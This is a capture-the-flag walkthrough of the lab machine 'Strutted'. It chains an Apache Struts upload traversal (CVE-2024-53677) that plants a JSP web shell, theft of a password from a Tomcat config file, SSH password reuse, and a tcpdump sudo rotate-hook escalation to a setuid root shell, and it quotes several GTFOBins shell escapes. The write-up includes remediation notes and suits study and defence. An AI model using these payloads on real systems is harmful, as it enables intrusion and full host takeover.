Strutted
Summary
I mapped the strutted.htb virtual host to find an Apache Struts image-sharing application running on Tomcat 9, then exploited a Struts file-upload parameter-traversal flaw (CVE-2024-53677) to plant and execute a JSP web shell, gaining code execution as the tomcat service account. Reading the Tomcat configuration file in full — including a commented-out line easily missed by a casual grep — revealed a live administrator password, which was reused for SSH access to the human user account james.
A passwordless sudo rule for tcpdump was then abused via its post-rotate command hook to spawn a root-owned setuid shell, completing full compromise of the host.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for james>"Attack path — how the box was taken
Exact commands 3
Confirms 22/tcp ssh and 80/tcp nginx 1.18.0 (Ubuntu).
$ nmap -p- -sV -sC $TARGETResolve the vhost the application actually answers on.
$ echo "$TARGET strutted.htb" | sudo tee -a /etc/hostsConfirms the Struts/Tomcat app behind the nginx front end.
$ curl -sI http://strutted.htb/Exact commands 3
Prepend PNG magic bytes to a JSP one-liner so the upload passes any content sniffing.
$ printf '\x89PNG\r\n\x1a\n' > shell.jsp; echo '<% if(request.getParameter("cmd")!=null){ Process p=Runtime.getRuntime().exec(request.getParameter("cmd")); java.io.InputStream in=p.getInputStream(); int a; while((a=in.read())!=-1){ out.print((char)a);} } %>' >> shell.jspThe 'Upload' field name (exact case) plus the traversal in top.UploadFileName writes shell.jsp into an executable path.
$ curl -sS -X POST 'http://strutted.htb/upload.action' -F 'Upload=@shell.jsp;type=image/png' -F 'top.UploadFileName=../../shell.jsp'Confirms code execution as tomcat (uid=998).
$ curl -sS http://$TARGET/shell.jsp?cmd=id -H 'Host: strutted.htb'FixPatch Apache Struts and validate file-upload parametersCritical
Exact commands 1
Read the full config file, including commented-out lines, not just active <user> tags.
$ curl -sS "http://$TARGET/shell.jsp?cmd=cat+/var/lib/tomcat9/conf/tomcat-users.xml" -H 'Host: strutted.htb'FixRemove live credentials from application config files and stop password reuseHigh
Exact commands 2
Confirms shell access as james, group sudo.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null james@$TARGET 'id'Reads the user flag; output is <user.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null james@$TARGET 'cat /home/james/user.txt'Exact commands 1
Lists james's passwordless sudo rights.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null james@$TARGET 'sudo -l'
(ALL) NOPASSWD: /usr/sbin/tcpdumpFixRemove the passwordless sudo rule for tcpdumpCritical
Exact commands 4
Run over the james SSH session — writes the privileged rotate-hook script.
$ printf '#!/bin/sh\ncp /bin/bash /tmp/rootbash\nchmod 6777 /tmp/rootbash\n' > /tmp/x; chmod +x /tmp/x-G 1 -W 1 forces immediate rotation (no traffic needed); -Z root is required for the hook to run as root.
$ sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/x -Z rootConfirms euid=0 before touching the flag.
$ /tmp/rootbash -p -c 'id'Reads the root flag; output is <root.txt>.
$ /tmp/rootbash -p -c 'cat /root/root.txt'Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.